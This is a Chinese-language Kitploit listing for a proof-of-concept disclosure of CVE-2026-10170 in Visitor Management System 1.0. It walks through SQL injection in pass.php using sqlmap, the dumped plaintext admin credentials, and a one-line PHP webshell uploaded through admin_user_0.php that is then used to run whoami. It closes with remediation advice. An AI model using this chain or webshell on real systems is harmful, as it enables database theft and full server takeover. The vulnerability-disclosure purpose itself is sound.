Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-10170-RCE — 概念验证,演示了在 Visitor Management System 1.0 中,将 SQL 注入与无限制文件上传串联利用以实现远程代码执行,包含分步利用过程及修复建议。 | Kitploit
工具/GitHubGitHub/xmyronn/cve-2026-10170-rce
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试Payload 开发
GitHubxmyronn/cve-2026-10170-rce

CVE-2026-10170-RCE

概念验证,演示了在 Visitor Management System 1.0 中,将 SQL 注入与无限制文件上传串联利用以实现远程代码执行,包含分步利用过程及修复建议。

查看仓库
3个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

访客管理系统 1.0 - SQL 注入到远程代码执行(攻击链)

漏洞信息

字段详情
产品访客管理系统
厂商code-projects.org
版本1.0
漏洞类别SQL 注入(CWE-89)+ 不受限制的文件上传(CWE-434)
CVE ID待定
CVSS 评分9.8 严重(AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
所需认证低权限(保安账户)作为入口点
受影响文件/vms/php/pass.php、/vms/php/admin_user_0.php
易受攻击的参数phone(POST)

描述

由 code-projects.org 开发的访客管理系统 1.0 存在一个严重的攻击链漏洞,该漏洞结合了 SQL 注入和不受限制的文件上传,最终导致远程代码执行。

具有低权限访问权限(保安账户)的攻击者可以利用 pass.php 中 phone POST 参数的 SQL 注入漏洞,转储整个数据库——包括明文管理员凭据。利用提取的凭据以管理员身份进行认证后,攻击者可以通过管理员用户管理面板(admin_user_0.php)上传 PHP 网页后门,该面板不执行任何文件类型或扩展名验证。上传的网页后门存储在 Web 可访问的目录中,可直接通过 URL 执行,从而在服务器上实现完整的远程代码执行。

此外,密码以明文形式存储在数据库中,这意味着在 SQL 注入转储后无需进行破解步骤。


攻击链概述

root@kitploit:~
低权限保安登录
        ↓
pass.php 中的 SQL 注入(phone 参数)
        ↓
sqlmap 转储 → 提取明文管理员凭据
        ↓
以管理员身份登录(sanjay1:7861)
        ↓
admin_user_0.php 中的不受限制的文件上传
        ↓
PHP 网页后门上传至 /vms/php/folder/
        ↓
通过 ?cmd=whoami 实现 RCE → 完全控制服务器

分步概念验证

第 1 步 — 以低权限用户(保安)身份登录

导航至 VMS 应用程序并使用保安凭据登录。登录后,导航至电话号码页面:

root@kitploit:~
http://<TARGET>/vms/php/phone_0.php
Screenshot 2026-05-05 034206

第 2 步 — 确认 pass.php 中的 SQL 注入

提交单个引号 ' 作为电话号码值。应用程序抛出致命的 MariaDB 错误,暴露了原始查询和文件路径:

root@kitploit:~
Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax; 
check the manual that corresponds to your MariaDB server version for the right 
syntax to use near '2026-05-05'' at line 1 in 
C:\xampp\htdocs\vms\php\pass.php:9
Stack trace:
#0 C:\xampp\htdocs\vms\php\pass.php(9): mysqli_query(Object(mysqli), 'select * from i...')

受影响文件: pass.php 第 9 行
易受攻击的参数: phone(POST)

Screenshot 2026-05-05 034215

sql 错误 Screenshot 2026-05-05 034228


第 3 步 — 使用 sqlmap 利用 SQL 注入

将 Burp Suite 捕获的请求保存到文件(sqli.txt)并运行 sqlmap:

root@kitploit:~
sqlmap -r sqli.txt --dump --batch

sqlmap 成功从 vms 数据库中转储了 login_user 表,揭示了所有用户的明文凭据:

root@kitploit:~
Database: vms
Table: login_user
[2 entries]
+----+---------+------------+---------+-------+--------+----------+-----------+
| id | image   | phone      | name    | user  | gender | password | username  |
+----+---------+------------+---------+-------+--------+----------+-----------+
| 1  | <blank> | 8146905071 | sanjay  | guard | male   | 786      | sanjay123 |
| 2  | <blank> | 8146905071 | sanjay1 | admin | male   | 7861     | sanjay1   |
+----+---------+------------+---------+-------+--------+----------+-----------+

注意:密码以明文形式存储——无需进行哈希破解。

Screenshot 2026-05-05 034316

第 4 步 — 以管理员身份登录

使用提取的管理员凭据登录管理面板:

root@kitploit:~
用户名:sanjay1
密码:7861

现在可以访问完整的管理员仪表板,包括员工、部门、管理员用户和报告管理。

Screenshot 2026-05-05 034353

第 5 步 — 通过管理员用户面板上传 PHP 网页后门

导航至管理员用户管理页面:

root@kitploit:~
http://<TARGET>/vms/php/admin_user_0.php

该页面包含一个用于上传个人资料图片的文件上传字段。应用程序不执行任何文件类型验证、扩展名过滤或 MIME 类型检查。

在表单中填写任意值,并将以下 PHP 网页后门作为图片文件上传(web2_command.php):

root@kitploit:~
<?php echo shell_exec($_GET['cmd']); ?>
Screenshot 2026-05-05 034416

第 6 步 — 确认网页后门上传

导航至管理员用户显示页面:

root@kitploit:~
http://<TARGET>/vms/php/admin_display_0.php

新创建的管理员账户在表格中可见。上传的网页后门存储在:

root@kitploit:~
http://<TARGET>/vms/php/folder/web2_command.php
Screenshot 2026-05-05 034429

第 7 步 — 远程代码执行

通过网页后门执行任意系统命令:

root@kitploit:~
http://<TARGET>/vms/php/folder/web2_command.php?cmd=whoami

结果: 服务器返回当前系统用户,确认实现了完整的远程代码执行:

root@kitploit:~
desktop-g1i9np3\dell
Screenshot 2026-05-05 034438

影响

  • 数据库完全沦陷 — 通过 SQL 注入转储所有表,包括明文凭据
  • 管理员账户接管 — 明文密码无需破解
  • 远程代码执行 — 以 Web 服务器用户身份执行任意操作系统命令
  • 服务器完全沦陷 — 完全控制底层主机
  • 明文密码存储 — 放大了 SQL 注入的影响,凭据可立即使用

受影响文件摘要

文件漏洞
/vms/php/pass.php通过 phone POST 参数实现 SQL 注入
/vms/php/admin_user_0.php不受限制的文件上传 — 无扩展名或 MIME 验证
/vms/php/folder/网页后门存储目录 — Web 可访问,无任何限制

修复建议

针对 SQL 注入:

root@kitploit:~
$stmt = $conn->prepare("SELECT * FROM login_user WHERE phone = ?");
$stmt->bind_param("s", $phone);
$stmt->execute();

针对文件上传:

  • 白名单允许的扩展名(仅限 jpg、png、gif)
  • 在服务器端验证 MIME 类型
  • 将上传文件存储在 Web 根目录之外
  • 将上传的文件重命名为随机字符串

针对密码存储:

  • 使用 password_hash() 和 password_verify() — 切勿存储明文

参考资料

  • 厂商主页
  • CWE-89:SQL 注入
  • CWE-434:危险类型文件的不受限制上传
  • OWASP 文件上传速查表

发现者

  • 研究人员: Imad Alvi
  • VulDB: imad alvi
下载工具